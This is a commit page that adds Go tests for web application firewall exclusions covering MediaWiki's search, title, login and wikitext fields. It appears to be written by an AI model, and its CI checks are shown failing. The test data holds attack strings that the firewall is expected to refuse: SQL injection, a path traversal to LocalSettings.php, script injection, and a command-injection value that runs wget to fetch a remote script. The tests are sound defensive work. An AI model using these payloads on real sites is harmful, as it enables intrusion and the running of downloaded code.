Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237)
check / check (push) Failing after 4m55s
check / check (push) Failing after 4m55s
Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields that carry a search, a title, a name, a file name or an address skip the four rules that read them as commands or system files, and the wikitext fields skip the rules that refused saving a page. /index.php counts as MediaWiki's only with a page title in its query or after its path, since WordPress serves it too. The requests recorded from MediaWiki 1.46.2, with and without short URLs, pass at the defaults and while bodies are read. The app tests share the check of recorded requests and the list of hard values. Model: opus-5-5
This commit is contained in:
1 parent
9f98982446
commit
c31a26ca62
8 files changed
+1040
-49
No files matched your search
@@ -0,0 +1,316 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const mediawikiThreshold = 5
|
||||
|
||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
||||
|
||||
// mediawikiAPI is MediaWiki's API.
|
||||
const mediawikiAPI = "/api.php"
|
||||
|
||||
// mediawikiRESTPage is a page in MediaWiki's REST API.
|
||||
const mediawikiRESTPage = "/rest.php/v1/page/Example"
|
||||
|
||||
// mediawikiUpload is MediaWiki's upload page.
|
||||
const mediawikiUpload = "/wiki/Special:Upload"
|
||||
|
||||
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
|
||||
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
|
||||
|
||||
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
|
||||
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
|
||||
|
||||
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
|
||||
// URLs posts its sign-in and upload forms.
|
||||
const (
|
||||
mediawikiSignInPage = "/index.php/Special:UserLogin"
|
||||
mediawikiUploadPage = "/index.php/Special:Upload"
|
||||
)
|
||||
|
||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||
}
|
||||
|
||||
// mediawikiQueryFields are a query field of each exclusion of a query
|
||||
// field, on a path it applies to, each ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiQueryFields = []string{
|
||||
"/index.php?title=",
|
||||
"/index.php?title=Special:Search&search=",
|
||||
"/wiki/Special:WhatLinksHere?target=",
|
||||
"/wiki/Special:Log?page=",
|
||||
"/wiki/Special:Log?user=",
|
||||
"/wiki/Special:ListUsers?username=",
|
||||
"/wiki/Special:AllPages?from=",
|
||||
"/wiki/Special:AllPages?to=",
|
||||
"/wiki/Special:PrefixIndex?prefix=",
|
||||
mediawikiSignIn + "&returnto=",
|
||||
mediawikiSignIn + "&returntoquery=",
|
||||
"/wiki/Special:ListFiles?ilsearch=",
|
||||
"/wiki/Special:FileDuplicateSearch?filename=",
|
||||
mediawikiUpload + "?wpDestFile=",
|
||||
"/w/index.php?title=Special:Search&search=",
|
||||
"/index.php/Special:AllPages?from=",
|
||||
"/w/index.php/Special:Search?search=",
|
||||
"/api.php?action=opensearch&search=",
|
||||
"/api.php?action=query&list=search&srsearch=",
|
||||
"/api.php?action=query&list=prefixsearch&pssearch=",
|
||||
"/api.php?action=query&generator=prefixsearch&gpssearch=",
|
||||
"/api.php?action=query&titles=",
|
||||
"/api.php?action=parse&page=",
|
||||
"/api.php?action=query&list=allpages&apfrom=",
|
||||
"/api.php?action=query&list=allpages&apprefix=",
|
||||
"/api.php?action=query&list=allimages&aiprefix=",
|
||||
"/api.php?action=query&list=allusers&auprefix=",
|
||||
"/api.php?action=query&list=backlinks&bltitle=",
|
||||
"/api.php?action=query&list=exturlusage&euquery=",
|
||||
"/api.php?action=query&list=usercontribs&ucuser=",
|
||||
"/w/api.php?action=opensearch&search=",
|
||||
"/rest.php/v1/search/title?q=",
|
||||
"/rest.php/v1/search/page?q=",
|
||||
}
|
||||
|
||||
// mediawikiAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, as a query value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiAttacks = []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2FLocalSettings.php",
|
||||
scriptInjection,
|
||||
}
|
||||
|
||||
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
targets := append([]string{"/index.php?id=", "/load.php?modules="},
|
||||
mediawikiQueryFields...)
|
||||
|
||||
for _, attack := range mediawikiAttacks {
|
||||
for _, target := range targets {
|
||||
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mediawikiBodyField is a field of a form data body, sent to a path.
|
||||
type mediawikiBodyField struct{ target, field string }
|
||||
|
||||
// mediawikiBodyFields are a field of each exclusion of a body field, other
|
||||
// than those that hold wikitext, on a path it applies to.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiBodyFields = []mediawikiBodyField{
|
||||
{mediawikiEdit, "wpSummary="},
|
||||
{mediawikiUpload, "wpUploadDescription="},
|
||||
{mediawikiUpload, "wpDestFile="},
|
||||
{mediawikiSignIn, "wpName="},
|
||||
{mediawikiSignIn, "wpPassword="},
|
||||
{mediawikiMove, "wpOldTitle="},
|
||||
{mediawikiMove, "wpNewTitleMain="},
|
||||
{mediawikiMove, "wpReason="},
|
||||
{mediawikiSignInPage, "wpName="},
|
||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||
{mediawikiUploadPage, "wpDestFile="},
|
||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||
{mediawikiAPI, "from="},
|
||||
{mediawikiAPI, "to="},
|
||||
{mediawikiAPI, "summary="},
|
||||
{mediawikiAPI, "sectiontitle="},
|
||||
{mediawikiAPI, "filename="},
|
||||
{mediawikiAPI, "comment="},
|
||||
{mediawikiAPI, "reason="},
|
||||
{mediawikiAPI, "lgpassword="},
|
||||
{mediawikiAPI, "password="},
|
||||
}
|
||||
|
||||
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiWikitextFields = []mediawikiBodyField{
|
||||
{mediawikiEdit, "wpTextbox1="},
|
||||
{mediawikiAPI, "text="},
|
||||
{mediawikiAPI, "appendtext="},
|
||||
{mediawikiAPI, "prependtext="},
|
||||
}
|
||||
|
||||
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
||||
mediawikiWikitextFields...)
|
||||
|
||||
for _, attack := range mediawikiAttacks {
|
||||
for _, sent := range fields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
`1' OR '1'='1`,
|
||||
`<script>alert(1)</script>`,
|
||||
} {
|
||||
for _, field := range []string{"source", "comment"} {
|
||||
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
||||
body := `{"` + field + `":"` + attack + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||
// fields that skip the other command rules, as a query value.
|
||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
|
||||
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, target := range mediawikiQueryFields {
|
||||
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
for _, sent := range mediawikiBodyFields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
|
||||
}
|
||||
}
|
||||
|
||||
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
||||
body := `{"comment":"; wget http://example.com/x.sh"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, value := range hardValues {
|
||||
for _, target := range mediawikiQueryFields {
|
||||
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
|
||||
t.Errorf("%s%s refused: %+v", target, value, got)
|
||||
}
|
||||
}
|
||||
|
||||
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
||||
mediawikiWikitextFields...)
|
||||
|
||||
for _, sent := range fields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
if got.Score >= mediawikiThreshold {
|
||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?search=python3",
|
||||
"/index.php?search=python3",
|
||||
"/index.php?title=Example&other=python3",
|
||||
"/other.php?title=python3",
|
||||
"/api.php?other=python3",
|
||||
"/rest.php/v1/search/title?other=python3",
|
||||
"/?q=python3",
|
||||
"/load.php?other=.htaccess",
|
||||
"/x/api.php?search=python3",
|
||||
"/x/index.php/Example?search=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
// An uploaded file named .htaccess is still refused off MediaWiki's
|
||||
// paths.
|
||||
r := request{
|
||||
http.MethodPost, "/upload.php",
|
||||
[]string{"Content-Type: multipart/form-data; boundary=b"},
|
||||
}
|
||||
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
||||
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
mediawikiAPI, mediawikiUpload,
|
||||
mediawikiUploadPage, "/w" + mediawikiUploadPage,
|
||||
} {
|
||||
r.target = target
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
||||
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// The same field name in the query keeps the rules, in the query and
|
||||
// in the body.
|
||||
for _, sent := range []struct{ target, field string }{
|
||||
{mediawikiEdit, "wpTextbox1=python3"},
|
||||
{mediawikiEdit, "wpSummary=python3"},
|
||||
{mediawikiSignIn, "wpPassword=python3"},
|
||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user